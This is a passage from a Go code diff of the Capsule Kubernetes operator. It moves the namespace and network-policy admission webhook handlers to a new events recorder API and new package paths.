    +func NamespaceHandler(configuration configuration.Configuration, handlers ...handlers.TypedHandler[*corev1.Namespace]) handlers.Handler {
     	return &handler{
     		cfg:      configuration,
     		handlers: handlers,
    @@ -27,10 +28,10 @@ func NamespaceHandler(configuration configuration.Configuration, handlers ...web
     
     type handler struct {
     	cfg      configuration.Configuration
    -	handlers []webhook.TypedHandler[*corev1.Namespace]
    +	handlers []handlers.TypedHandler[*corev1.Namespace]
     }
     
    -func (h *handler) OnCreate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		userIsAdmin := users.IsAdminUser(req, h.cfg.Administrators())
     
    @@ -62,13 +63,13 @@ func (h *handler) OnCreate(c client.Client, decoder admission.Decoder, recorder
     	}
     }
     
    -func (h *handler) OnDelete(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnDelete(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		userIsAdmin := users.IsAdminUser(req, h.cfg.Administrators())
     
    @@ -105,7 +106,7 @@ func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder
     			}
     		} else {
     			if owned := tenant.NamespaceIsOwned(ctx, c, h.cfg, oldNs, tnt, req.UserInfo); !owned {
    -				recorder.Eventf(oldNs, corev1.EventTypeWarning, "NamespacePatch", "Namespace %s can not be patched", oldNs.GetName())
    +				recorder.Eventf(tnt, oldNs, corev1.EventTypeWarning, "NamespacePatch", evt.ActionValidationDenied, "Namespace %s can not be patched", oldNs.GetName())
     
     				response := admission.Denied("Denied patch request for this namespace")
     
    
  • internal/webhook/namespace/mutation/metadata.go+8 8 modified
    @@ -10,27 +10,27 @@ import (
     	"net/http"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type metadataHandler struct {
     	cfg configuration.Configuration
     }
     
    -func MetadataHandler(cfg configuration.Configuration) capsulewebhook.TypedHandler[*corev1.Namespace] {
    +func MetadataHandler(cfg configuration.Configuration) handlers.TypedHandler[*corev1.Namespace] {
     	return &metadataHandler{
     		cfg: cfg,
     	}
     }
     
    -func (h *metadataHandler) OnCreate(client client.Client, ns *corev1.Namespace, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *metadataHandler) OnCreate(client client.Client, ns *corev1.Namespace, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, errResponse := utils.GetNamespaceTenant(ctx, client, ns, req, h.cfg, recorder)
     		if errResponse != nil {
    @@ -73,13 +73,13 @@ func (h *metadataHandler) OnCreate(client client.Client, ns *corev1.Namespace, d
     	}
     }
     
    -func (h *metadataHandler) OnDelete(client.Client, *corev1.Namespace, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *metadataHandler) OnDelete(client.Client, *corev1.Namespace, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *metadataHandler) OnUpdate(c client.Client, newNs *corev1.Namespace, oldNs *corev1.Namespace, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *metadataHandler) OnUpdate(c client.Client, newNs *corev1.Namespace, oldNs *corev1.Namespace, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, errResponse := utils.GetNamespaceTenant(ctx, c, oldNs, req, h.cfg, recorder)
     		if errResponse != nil {
    
  • internal/webhook/namespace/mutation/ownerreference.go+12 11 modified
    @@ -11,30 +11,31 @@ import (
     	authenticationv1 "k8s.io/api/authentication/v1"
     	corev1 "k8s.io/api/core/v1"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type ownerReferenceHandler struct {
     	cfg configuration.Configuration
     }
     
    -func OwnerReferenceHandler(cfg configuration.Configuration) capsulewebhook.TypedHandler[*corev1.Namespace] {
    +func OwnerReferenceHandler(cfg configuration.Configuration) handlers.TypedHandler[*corev1.Namespace] {
     	return &ownerReferenceHandler{
     		cfg: cfg,
     	}
     }
     
    -func (h *ownerReferenceHandler) OnCreate(c client.Client, ns *corev1.Namespace, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *ownerReferenceHandler) OnCreate(c client.Client, ns *corev1.Namespace, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, errResponse := utils.GetNamespaceTenant(ctx, c, ns, req, h.cfg, recorder)
     		if errResponse != nil {
    @@ -69,13 +70,13 @@ func (h *ownerReferenceHandler) OnCreate(c client.Client, ns *corev1.Namespace,
     	}
     }
     
    -func (h *ownerReferenceHandler) OnDelete(client.Client, *corev1.Namespace, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *ownerReferenceHandler) OnDelete(client.Client, *corev1.Namespace, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *ownerReferenceHandler) OnUpdate(c client.Client, newNs *corev1.Namespace, oldNs *corev1.Namespace, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *ownerReferenceHandler) OnUpdate(c client.Client, newNs *corev1.Namespace, oldNs *corev1.Namespace, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, err := resolveTenantForNamespaceUpdate(ctx, c, h.cfg, oldNs, newNs, req.UserInfo)
     		if err != nil {
    @@ -153,7 +154,7 @@ func assignToTenant(
     	c client.Client,
     	tnt *capsulev1beta2.Tenant,
     	ns *corev1.Namespace,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     ) error {
     	has, err := controllerutil.HasOwnerReference(ns.OwnerReferences, tnt, c.Scheme())
     	if err != nil {
    @@ -165,12 +166,12 @@ func assignToTenant(
     	}
     
     	if err := controllerutil.SetOwnerReference(tnt, ns, c.Scheme()); err != nil {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "Error", "Namespace %s cannot be assigned to the desired Tenant", ns.GetName())
    +		recorder.Eventf(ns, tnt, corev1.EventTypeWarning, evt.ReasonNamespaceHijack, evt.ActionValidationDenied, "Namespace %s cannot be assigned to the desired tenant %s", ns.GetName(), tnt.GetName())
     
     		return err
     	}
     
    -	recorder.Eventf(tnt, corev1.EventTypeNormal, "NamespaceCreationWebhook", "Namespace %s has been assigned to the desired Tenant", ns.GetName())
    +	recorder.Eventf(ns, tnt, corev1.EventTypeNormal, evt.ReasonTenantAssigned, evt.ActionValidationDenied, "Namespace %s has been assigned to the desired tenant %s", ns.GetName(), tnt.GetName())
     
     	return nil
     }
    
  • internal/webhook/namespace/validation/freezed.go+15 14 modified
    @@ -7,34 +7,35 @@ import (
     	"context"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
     type freezedHandler struct {
     	cfg configuration.Configuration
     }
     
    -func FreezeHandler(configuration configuration.Configuration) capsulewebhook.TypedHandlerWithTenant[*corev1.Namespace] {
    +func FreezeHandler(configuration configuration.Configuration) handlers.TypedHandlerWithTenant[*corev1.Namespace] {
     	return &freezedHandler{cfg: configuration}
     }
     
     func (h *freezedHandler) OnCreate(
     	c client.Client,
     	ns *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if tnt.Spec.Cordoned {
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "TenantFreezed", "Namespace %s cannot be attached, the current Tenant is freezed", ns.GetName())
    +			recorder.Eventf(tnt, ns, corev1.EventTypeWarning, evt.ReasonCordoning, evt.ActionValidationDenied, "Namespace %s cannot be attached, the current Tenant is freezed", ns.GetName())
     
     			response := admission.Denied("the selected Tenant is freezed")
     
    @@ -49,12 +50,12 @@ func (h *freezedHandler) OnDelete(
     	c client.Client,
     	ns *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if tnt.Spec.Cordoned && users.IsCapsuleUser(ctx, c, h.cfg, req.UserInfo.Username, req.UserInfo.Groups) {
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "TenantFreezed", "Namespace %s cannot be deleted, the current Tenant is freezed", req.Name)
    +			recorder.Eventf(tnt, ns, corev1.EventTypeWarning, "TenantFreezed", "Denied", "Namespace %s cannot be deleted, the current Tenant is freezed", req.Name)
     
     			response := admission.Denied("the selected Tenant is freezed")
     
    @@ -70,12 +71,12 @@ func (h *freezedHandler) OnUpdate(
     	ns *corev1.Namespace,
     	old *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if tnt.Spec.Cordoned && users.IsCapsuleUser(ctx, c, h.cfg, req.UserInfo.Username, req.UserInfo.Groups) {
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "TenantFreezed", "Namespace %s cannot be updated, the current Tenant is freezed", ns.GetName())
    +			recorder.Eventf(tnt, ns, corev1.EventTypeWarning, "TenantFreezed", "Denied", "Namespace %s cannot be updated, the current Tenant is freezed", ns.GetName())
     
     			response := admission.Denied("the selected Tenant is freezed")
     
    
  • internal/webhook/namespace/validation/handler.go+11 11 modified
    @@ -8,32 +8,32 @@ import (
     	"fmt"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	"github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
    -func NamespaceHandler(configuration configuration.Configuration, handlers ...webhook.TypedHandlerWithTenant[*corev1.Namespace]) webhook.Handler {
    +func NamespaceHandler(configuration configuration.Configuration, hndlers ...handlers.TypedHandlerWithTenant[*corev1.Namespace]) handlers.Handler {
     	return &handler{
     		cfg:      configuration,
    -		handlers: handlers,
    +		handlers: hndlers,
     	}
     }
     
     type handler struct {
     	cfg      configuration.Configuration
    -	handlers []webhook.TypedHandlerWithTenant[*corev1.Namespace]
    +	handlers []handlers.TypedHandlerWithTenant[*corev1.Namespace]
     }
     
    -func (h *handler) OnCreate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		userIsAdmin := users.IsAdminUser(req, h.cfg.Administrators())
     
    @@ -65,7 +65,7 @@ func (h *handler) OnCreate(c client.Client, decoder admission.Decoder, recorder
     	}
     }
     
    -func (h *handler) OnDelete(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnDelete(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		userIsAdmin := users.IsAdminUser(req, h.cfg.Administrators())
     
    @@ -97,7 +97,7 @@ func (h *handler) OnDelete(c client.Client, decoder admission.Decoder, recorder
     	}
     }
     
    -func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		userIsAdmin := users.IsAdminUser(req, h.cfg.Administrators())
     
    
  • internal/webhook/namespace/validation/patch.go+13 12 modified
    @@ -8,31 +8,32 @@ import (
     	"fmt"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
     type patchHandler struct {
     	cfg configuration.Configuration
     }
     
    -func PatchHandler(configuration configuration.Configuration) capsulewebhook.TypedHandlerWithTenant[*corev1.Namespace] {
    +func PatchHandler(configuration configuration.Configuration) handlers.TypedHandlerWithTenant[*corev1.Namespace] {
     	return &patchHandler{cfg: configuration}
     }
     
     func (h *patchHandler) OnCreate(
     	client.Client,
     	*corev1.Namespace,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -42,9 +43,9 @@ func (h *patchHandler) OnDelete(
     	client.Client,
     	*corev1.Namespace,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -55,17 +56,17 @@ func (h *patchHandler) OnUpdate(
     	ns *corev1.Namespace,
     	old *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		e := fmt.Sprintf("namespace/%s can not be patched", ns.Name)
     
     		if ok := users.IsTenantOwnerByStatus(ctx, c, h.cfg, tnt, req.UserInfo); ok {
     			return nil
     		}
     
    -		recorder.Eventf(ns, corev1.EventTypeWarning, "NamespacePatch", e)
    +		recorder.Eventf(tnt, ns, corev1.EventTypeWarning, evt.ReasonNamespaceHijack, evt.ActionValidationDenied, e)
     		response := admission.Denied(e)
     
     		return &response
    
  • internal/webhook/namespace/validation/prefix.go+12 11 modified
    @@ -9,20 +9,21 @@ import (
     	"strings"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type prefixHandler struct {
     	cfg configuration.Configuration
     }
     
    -func PrefixHandler(configuration configuration.Configuration) capsulewebhook.TypedHandlerWithTenant[*corev1.Namespace] {
    +func PrefixHandler(configuration configuration.Configuration) handlers.TypedHandlerWithTenant[*corev1.Namespace] {
     	return &prefixHandler{
     		cfg: configuration,
     	}
    @@ -32,9 +33,9 @@ func (h *prefixHandler) OnCreate(
     	c client.Client,
     	ns *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if exp, _ := h.cfg.ProtectedNamespaceRegexp(); exp != nil {
     			if matched := exp.MatchString(ns.GetName()); matched {
    @@ -50,7 +51,7 @@ func (h *prefixHandler) OnCreate(
     			}
     
     			if e := fmt.Sprintf("%s-%s", tnt.GetName(), ns.GetName()); !strings.HasPrefix(ns.GetName(), fmt.Sprintf("%s-", tnt.GetName())) {
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, "InvalidTenantPrefix", "Namespace %s does not match the expected prefix for the current Tenant", ns.GetName())
    +				recorder.Eventf(tnt, ns, corev1.EventTypeWarning, evt.ReasonInvalidTenantPrefix, evt.ActionValidationDenied, "Namespace %s does not match the expected prefix for the current Tenant", ns.GetName())
     
     				response := admission.Denied(fmt.Sprintf("The namespace doesn't match the tenant prefix, expected %s", e))
     
    @@ -67,9 +68,9 @@ func (h *prefixHandler) OnUpdate(
     	*corev1.Namespace,
     	*corev1.Namespace,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -79,9 +80,9 @@ func (h *prefixHandler) OnDelete(
     	client.Client,
     	*corev1.Namespace,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/namespace/validation/quota.go+14 12 modified
    @@ -8,27 +8,29 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type quotaHandler struct{}
     
    -func QuotaHandler() capsulewebhook.TypedHandlerWithTenant[*corev1.Namespace] {
    +func QuotaHandler() handlers.TypedHandlerWithTenant[*corev1.Namespace] {
     	return &quotaHandler{}
     }
     
     func (h *quotaHandler) OnCreate(
     	c client.Client,
     	ns *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(ctx, c, recorder, ns, tnt)
     	}
    @@ -38,9 +40,9 @@ func (h *quotaHandler) OnDelete(
     	client.Client,
     	*corev1.Namespace,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -51,9 +53,9 @@ func (h *quotaHandler) OnUpdate(
     	ns *corev1.Namespace,
     	_ *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(ctx, c, recorder, ns, tnt)
     	}
    @@ -62,7 +64,7 @@ func (h *quotaHandler) OnUpdate(
     func (h *quotaHandler) handle(
     	ctx context.Context,
     	c client.Client,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	ns *corev1.Namespace,
     	tnt *capsulev1beta2.Tenant,
     ) *admission.Response {
    @@ -75,9 +77,9 @@ func (h *quotaHandler) handle(
     			return nil
     		}
     
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "NamespaceQuotaExceded", "Namespace %s cannot be attached, quota exceeded for the current Tenant", ns.GetName())
    +		recorder.Eventf(tnt, ns, corev1.EventTypeWarning, evt.ReasonOverprovision, evt.ActionValidationDenied, "Namespace %s cannot be attached, quota exceeded for the current Tenant", ns.GetName())
     
    -		response := admission.Denied(NewNamespaceQuotaExceededError().Error())
    +		response := admission.Denied(caperrors.NewNamespaceQuotaExceededError().Error())
     
     		return &response
     	}
    
  • internal/webhook/namespace/validation/user_metadata.go+16 15 modified
    @@ -8,34 +8,35 @@ import (
     
     	"github.com/pkg/errors"
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/pkg/api"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type userMetadataHandler struct{}
     
    -func UserMetadataHandler() capsulewebhook.TypedHandlerWithTenant[*corev1.Namespace] {
    +func UserMetadataHandler() handlers.TypedHandlerWithTenant[*corev1.Namespace] {
     	return &userMetadataHandler{}
     }
     
     func (h *userMetadataHandler) OnCreate(
     	c client.Client,
     	ns *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if tnt.Spec.NamespaceOptions != nil {
     			err := api.ValidateForbidden(ns.Annotations, tnt.Spec.NamespaceOptions.ForbiddenAnnotations)
     			if err != nil {
     				err = errors.Wrap(err, "namespace annotations validation failed")
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, api.ForbiddenAnnotationReason, err.Error())
    +				recorder.Eventf(tnt, ns, corev1.EventTypeWarning, evt.ReasonForbiddenAnnotation, evt.ActionValidationDenied, err.Error())
     				response := admission.Denied(err.Error())
     
     				return &response
    @@ -44,7 +45,7 @@ func (h *userMetadataHandler) OnCreate(
     			err = api.ValidateForbidden(ns.Labels, tnt.Spec.NamespaceOptions.ForbiddenLabels)
     			if err != nil {
     				err = errors.Wrap(err, "namespace labels validation failed")
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, api.ForbiddenLabelReason, err.Error())
    +				recorder.Eventf(tnt, ns, corev1.EventTypeWarning, evt.ReasonForbiddenLabel, evt.ActionValidationDenied, err.Error())
     				response := admission.Denied(err.Error())
     
     				return &response
    @@ -60,24 +61,24 @@ func (h *userMetadataHandler) OnUpdate(
     	newNs *corev1.Namespace,
     	oldNs *corev1.Namespace,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if len(tnt.Spec.NodeSelector) > 0 {
     			v, ok := newNs.GetAnnotations()["scheduler.alpha.kubernetes.io/node-selector"]
     			if !ok {
     				response := admission.Denied("the node-selector annotation is enforced, cannot be removed")
     
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenNodeSelectorDeletion", string(response.Result.Reason))
    +				recorder.Eventf(tnt, oldNs, corev1.EventTypeWarning, "ForbiddenNodeSelectorDeletion", "Denied", string(response.Result.Reason))
     
     				return &response
     			}
     
     			if v != oldNs.GetAnnotations()["scheduler.alpha.kubernetes.io/node-selector"] {
     				response := admission.Denied("the node-selector annotation is enforced, cannot be updated")
     
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenNodeSelectorUpdate", string(response.Result.Reason))
    +				recorder.Eventf(tnt, oldNs, corev1.EventTypeWarning, "ForbiddenNodeSelectorUpdate", "Denied", string(response.Result.Reason))
     
     				return &response
     			}
    @@ -127,7 +128,7 @@ func (h *userMetadataHandler) OnUpdate(
     			err := api.ValidateForbidden(annotations, tnt.Spec.NamespaceOptions.ForbiddenAnnotations)
     			if err != nil {
     				err = errors.Wrap(err, "namespace annotations validation failed")
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, api.ForbiddenAnnotationReason, err.Error())
    +				recorder.Eventf(tnt, oldNs, corev1.EventTypeWarning, evt.ReasonForbiddenAnnotation, evt.ActionValidationDenied, err.Error())
     				response := admission.Denied(err.Error())
     
     				return &response
    @@ -136,7 +137,7 @@ func (h *userMetadataHandler) OnUpdate(
     			err = api.ValidateForbidden(labels, tnt.Spec.NamespaceOptions.ForbiddenLabels)
     			if err != nil {
     				err = errors.Wrap(err, "namespace labels validation failed")
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, api.ForbiddenLabelReason, err.Error())
    +				recorder.Eventf(tnt, oldNs, corev1.EventTypeWarning, evt.ReasonForbiddenLabel, evt.ActionValidationDenied, err.Error())
     				response := admission.Denied(err.Error())
     
     				return &response
    @@ -151,9 +152,9 @@ func (h *userMetadataHandler) OnDelete(
     	client.Client,
     	*corev1.Namespace,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/networkpolicy/validating.go+6 6 modified
    @@ -8,28 +8,28 @@ import (
     
     	networkingv1 "k8s.io/api/networking/v1"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     	capsuleutils "github.com/projectcapsule/capsule/pkg/utils"
     )
     
     type handler struct{}
     
    -func Handler() capsulewebhook.Handler {
    +func Handler() handlers.Handler {
     	return &handler{}
     }
     
    -func (r *handler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
